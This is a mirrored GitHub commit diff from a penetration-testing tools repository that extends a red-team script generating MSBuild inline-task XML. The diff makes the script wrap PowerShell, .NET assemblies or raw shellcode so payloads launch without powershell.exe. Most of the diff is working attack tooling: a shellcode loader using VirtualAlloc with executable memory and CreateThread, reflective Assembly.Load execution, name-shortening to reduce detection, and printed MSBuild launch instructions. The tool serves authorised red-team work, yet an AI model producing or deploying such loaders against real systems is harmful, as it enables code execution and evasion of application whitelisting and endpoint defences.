mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-22 10:31:38 +01:00
Updated generateMSBuildXML.py
This commit is contained in:
parent
0e67d728d6
commit
8247ea72bc
@ -149,12 +149,18 @@ Loaded $UserHunterShowAll results.
|
|||||||
|
|
||||||
- **`Get-UserPasswordEntries.ps1`** - a simple script for finding and decoding `userPassword` properties stored by some legacy SAMBA/linux kerberos implementations.
|
- **`Get-UserPasswordEntries.ps1`** - a simple script for finding and decoding `userPassword` properties stored by some legacy SAMBA/linux kerberos implementations.
|
||||||
|
|
||||||
- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
|
- **`generateMSBuildXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
|
||||||
|
|
||||||
|
This script can embed following data within constructed CSharp Task:
|
||||||
|
- Powershell code
|
||||||
|
- raw Shellcode to executed in a separate thread via CreateThread
|
||||||
|
- .NET Assembly reflectively loaded via Assembly.Load
|
||||||
|
|
||||||
|
|
||||||
Example output **not minimized**:
|
Example output **not minimized**:
|
||||||
|
|
||||||
```
|
```
|
||||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1
|
C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py Show-Msgbox.ps1
|
||||||
|
|
||||||
:: Powershell via MSBuild inline-task XML payload generation script
|
:: Powershell via MSBuild inline-task XML payload generation script
|
||||||
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
||||||
@ -166,7 +172,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py S
|
|||||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
||||||
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
|
<!-- Automatically generated using `generateMSBuildXML.py` utility -->
|
||||||
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
||||||
|
|
||||||
<Target Name="btLDoraXcZV">
|
<Target Name="btLDoraXcZV">
|
||||||
@ -211,7 +217,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py S
|
|||||||
**minimized**
|
**minimized**
|
||||||
|
|
||||||
```
|
```
|
||||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m
|
C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py Show-Msgbox.ps1 -m
|
||||||
|
|
||||||
:: Powershell via MSBuild inline-task XML payload generation script
|
:: Powershell via MSBuild inline-task XML payload generation script
|
||||||
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
||||||
|
@ -2,15 +2,21 @@
|
|||||||
#
|
#
|
||||||
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
|
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
|
||||||
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
|
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
|
||||||
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
|
|
||||||
#
|
#
|
||||||
# Requirements:
|
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
|
||||||
# - pefile
|
# or
|
||||||
|
# %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
|
||||||
|
#
|
||||||
|
# This script can embed following data within constructed CSharp Task:
|
||||||
|
# - Powershell code
|
||||||
|
# - raw Shellcode in a separate thread via CreateThread
|
||||||
|
# - .NET Assembly via Assembly.Load
|
||||||
#
|
#
|
||||||
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||||
#
|
#
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
import os
|
||||||
import io
|
import io
|
||||||
import sys
|
import sys
|
||||||
import gzip
|
import gzip
|
||||||
@ -18,14 +24,9 @@ import base64
|
|||||||
import string
|
import string
|
||||||
import struct
|
import struct
|
||||||
import random
|
import random
|
||||||
|
import binascii
|
||||||
import argparse
|
import argparse
|
||||||
|
|
||||||
try:
|
|
||||||
import pefile
|
|
||||||
except ImportError:
|
|
||||||
print('Missing requirement: "pefile". Install it using: pip install pefile')
|
|
||||||
sys.exit(-1)
|
|
||||||
|
|
||||||
|
|
||||||
def getCompressedPayload(filePath):
|
def getCompressedPayload(filePath):
|
||||||
out = io.BytesIO()
|
out = io.BytesIO()
|
||||||
@ -43,10 +44,115 @@ def getCompressedPayload(filePath):
|
|||||||
)
|
)
|
||||||
return powershell
|
return powershell
|
||||||
|
|
||||||
def getInlineTask(payload, exeFile):
|
def getInlineTask(payload, _format):
|
||||||
|
|
||||||
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
||||||
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
||||||
|
|
||||||
|
launchCode = ''
|
||||||
|
|
||||||
|
if _format == 'exe':
|
||||||
|
|
||||||
|
exeLaunchCode = string.Template('''<ParameterGroup/>
|
||||||
|
<Task>
|
||||||
|
<Using Namespace="System" />
|
||||||
|
<Using Namespace="System.Reflection" />
|
||||||
|
|
||||||
|
<Code Type="Fragment" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
string payload = "$payload2";
|
||||||
|
byte[] decoded = System.Convert.FromBase64String(payload);
|
||||||
|
|
||||||
|
Assembly asm = Assembly.Load(decoded);
|
||||||
|
MethodInfo method = asm.EntryPoint;
|
||||||
|
object instance = asm.CreateInstance(method.Name);
|
||||||
|
method.Invoke(instance, null);
|
||||||
|
]]>
|
||||||
|
</Code>''').safe_substitute(
|
||||||
|
payload2 = base64.b64encode(payload.encode()).decode()
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
launchCode = exeLaunchCode
|
||||||
|
|
||||||
|
elif _format == 'raw':
|
||||||
|
|
||||||
|
foo = str(binascii.hexlify(payload), 'ascii')
|
||||||
|
fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)]
|
||||||
|
encodedPayload = ' '
|
||||||
|
|
||||||
|
for i in range(len(fooarr)):
|
||||||
|
if i % 32 == 0 and i > 0:
|
||||||
|
encodedPayload += '\n '
|
||||||
|
encodedPayload += '{}, '.format(fooarr[i])
|
||||||
|
|
||||||
|
encodedPayload = encodedPayload.strip()[:-1]
|
||||||
|
|
||||||
|
shellcodeLoader = string.Template('''<Task>
|
||||||
|
<Reference Include="System.Management.Automation" />
|
||||||
|
<Code Type="Class" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
using Microsoft.Build.Framework;
|
||||||
|
using Microsoft.Build.Utilities;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
|
||||||
|
public class $templateName : Task {
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern bool CloseHandle(IntPtr hHandle);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );
|
||||||
|
|
||||||
|
private static UInt32 MEM_COMMIT = 0x1000;
|
||||||
|
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
||||||
|
private static UInt32 MEM_RELEASE = 0x8000;
|
||||||
|
|
||||||
|
public override bool Execute() {
|
||||||
|
|
||||||
|
byte[] payload = new byte[$payloadSize] {
|
||||||
|
$payload2
|
||||||
|
};
|
||||||
|
|
||||||
|
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
Marshal.Copy(payload, 0, funcAddr, payload.Length);
|
||||||
|
IntPtr hThread = IntPtr.Zero;
|
||||||
|
UInt32 threadId = 0;
|
||||||
|
|
||||||
|
hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
|
||||||
|
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
VirtualFree(funcAddr, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]]>
|
||||||
|
</Code>''').safe_substitute(
|
||||||
|
templateName = templateName,
|
||||||
|
payload2 = encodedPayload,
|
||||||
|
payloadSize = len(payload)
|
||||||
|
)
|
||||||
|
|
||||||
|
launchCode = shellcodeLoader
|
||||||
|
|
||||||
|
else:
|
||||||
powershellLaunchCode = string.Template('''<Task>
|
powershellLaunchCode = string.Template('''<Task>
|
||||||
<Reference Include="System.Management.Automation" />
|
<Reference Include="System.Management.Automation" />
|
||||||
<Code Type="Class" Language="cs">
|
<Code Type="Class" Language="cs">
|
||||||
@ -79,31 +185,13 @@ def getInlineTask(payload, exeFile):
|
|||||||
payload2 = base64.b64encode(payload.encode()).decode()
|
payload2 = base64.b64encode(payload.encode()).decode()
|
||||||
)
|
)
|
||||||
|
|
||||||
exeLaunchCode = string.Template('''<ParameterGroup/>
|
launchCode = powershellLaunchCode
|
||||||
<Task>
|
|
||||||
<Using Namespace="System" />
|
|
||||||
<Using Namespace="System.Reflection" />
|
|
||||||
|
|
||||||
<Code Type="Fragment" Language="cs">
|
|
||||||
<![CDATA[
|
|
||||||
string payload = "$payload2";
|
|
||||||
byte[] decoded = System.Convert.FromBase64String(payload);
|
|
||||||
|
|
||||||
Assembly asm = Assembly.Load(decoded);
|
|
||||||
MethodInfo method = asm.EntryPoint;
|
|
||||||
object instance = asm.CreateInstance(method.Name);
|
|
||||||
method.Invoke(instance, null);
|
|
||||||
]]>
|
|
||||||
</Code>''').safe_substitute(
|
|
||||||
payload2 = base64.b64encode(payload.encode()).decode()
|
|
||||||
)
|
|
||||||
|
|
||||||
launchCode = exeLaunchCode if exeFile else powershellLaunchCode
|
|
||||||
|
|
||||||
template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
||||||
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
|
<!-- Automatically generated using `generateMSBuildXML.py` utility -->
|
||||||
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
||||||
|
|
||||||
<Target Name="$taskName">
|
<Target Name="$taskName">
|
||||||
@ -141,24 +229,7 @@ def detectFileIsExe(filePath, forced = False):
|
|||||||
|
|
||||||
#if not dosStub in printables:
|
#if not dosStub in printables:
|
||||||
# return False
|
# return False
|
||||||
|
|
||||||
try:
|
|
||||||
pe = pefile.PE(filePath)
|
|
||||||
cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
|
|
||||||
|
|
||||||
if not (cli.VirtualAddress != 0 and cli.Size != 0):
|
|
||||||
sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n')
|
|
||||||
if forced:
|
|
||||||
sys.exit(-1)
|
|
||||||
raise Exception()
|
|
||||||
else:
|
|
||||||
sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n')
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def minimize(output):
|
def minimize(output):
|
||||||
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
|
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
|
||||||
@ -174,7 +245,26 @@ def minimize(output):
|
|||||||
'instance' : 'o',
|
'instance' : 'o',
|
||||||
'pipeline' : 'p',
|
'pipeline' : 'p',
|
||||||
'runspace' : 'r',
|
'runspace' : 'r',
|
||||||
'decoded' : 'd'
|
'decoded' : 'd',
|
||||||
|
'MEM_COMMIT' : 'c1',
|
||||||
|
'PAGE_EXECUTE_READWRITE' : 'c2',
|
||||||
|
'MEM_RELEASE' : 'c3',
|
||||||
|
'funcAddr' : 'v1',
|
||||||
|
'hThread' : 'v2',
|
||||||
|
'threadId' : 'v3',
|
||||||
|
'lpAddress' : 'p1',
|
||||||
|
'dwSize' : 'p2',
|
||||||
|
'flAllocationType' : 'p3',
|
||||||
|
'flProtect' : 'p4',
|
||||||
|
'dwFreeType' : 'p5',
|
||||||
|
'lpThreadAttributes' : 'p6',
|
||||||
|
'dwStackSize' : 'p7',
|
||||||
|
'lpStartAddress' : 'p8',
|
||||||
|
'param' : 'p9',
|
||||||
|
'dwCreationFlags' : 'p10',
|
||||||
|
'lpThreadId' : 'p11',
|
||||||
|
'dwMilliseconds' : 'p12',
|
||||||
|
'hHandle' : 'p13',
|
||||||
}
|
}
|
||||||
|
|
||||||
for k, v in variables.items():
|
for k, v in variables.items():
|
||||||
@ -187,10 +277,15 @@ def opts(argv):
|
|||||||
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
|
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
|
||||||
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
|
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
|
||||||
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
|
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
|
||||||
parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!')
|
parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')
|
||||||
|
parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.')
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.exe and args.raw:
|
||||||
|
sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n')
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
return args
|
return args
|
||||||
|
|
||||||
def main(argv):
|
def main(argv):
|
||||||
@ -206,12 +301,24 @@ def main(argv):
|
|||||||
|
|
||||||
args = opts(argv)
|
args = opts(argv)
|
||||||
|
|
||||||
isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe)
|
_format = 'powershell'
|
||||||
|
|
||||||
if isItExeFile:
|
if args.exe:
|
||||||
|
if not detectFileIsExe(args.inputFile, args.exe):
|
||||||
|
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
|
||||||
|
return False
|
||||||
|
|
||||||
|
_format = 'exe'
|
||||||
sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
|
sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
|
||||||
with open(args.inputFile, 'rb') as f:
|
with open(args.inputFile, 'rb') as f:
|
||||||
payload = f.read()
|
payload = f.read()
|
||||||
|
|
||||||
|
elif args.raw:
|
||||||
|
_format = 'raw'
|
||||||
|
sys.stderr.write('[?] File specified as raw Shellcode.\n\n')
|
||||||
|
with open(args.inputFile, 'rb') as f:
|
||||||
|
payload = f.read()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
|
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
|
||||||
|
|
||||||
@ -220,7 +327,7 @@ def main(argv):
|
|||||||
|
|
||||||
payload = getCompressedPayload(args.inputFile)
|
payload = getCompressedPayload(args.inputFile)
|
||||||
|
|
||||||
output = getInlineTask(payload, isItExeFile)
|
output = getInlineTask(payload, _format)
|
||||||
|
|
||||||
if args.minimize:
|
if args.minimize:
|
||||||
output = minimize(output)
|
output = minimize(output)
|
||||||
@ -230,5 +337,18 @@ def main(argv):
|
|||||||
else:
|
else:
|
||||||
print(output)
|
print(output)
|
||||||
|
|
||||||
|
msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
|
||||||
|
if 'PROGRAMFILES(X86)' in os.environ:
|
||||||
|
msbuildPath = r'%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'
|
||||||
|
|
||||||
|
sys.stderr.write('''
|
||||||
|
|
||||||
|
=====================================
|
||||||
|
|
||||||
|
Execute this XML file like so:
|
||||||
|
|
||||||
|
{} file.xml
|
||||||
|
'''.format(msbuildPath))
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
main(sys.argv)
|
main(sys.argv)
|
Loading…
Reference in New Issue
Block a user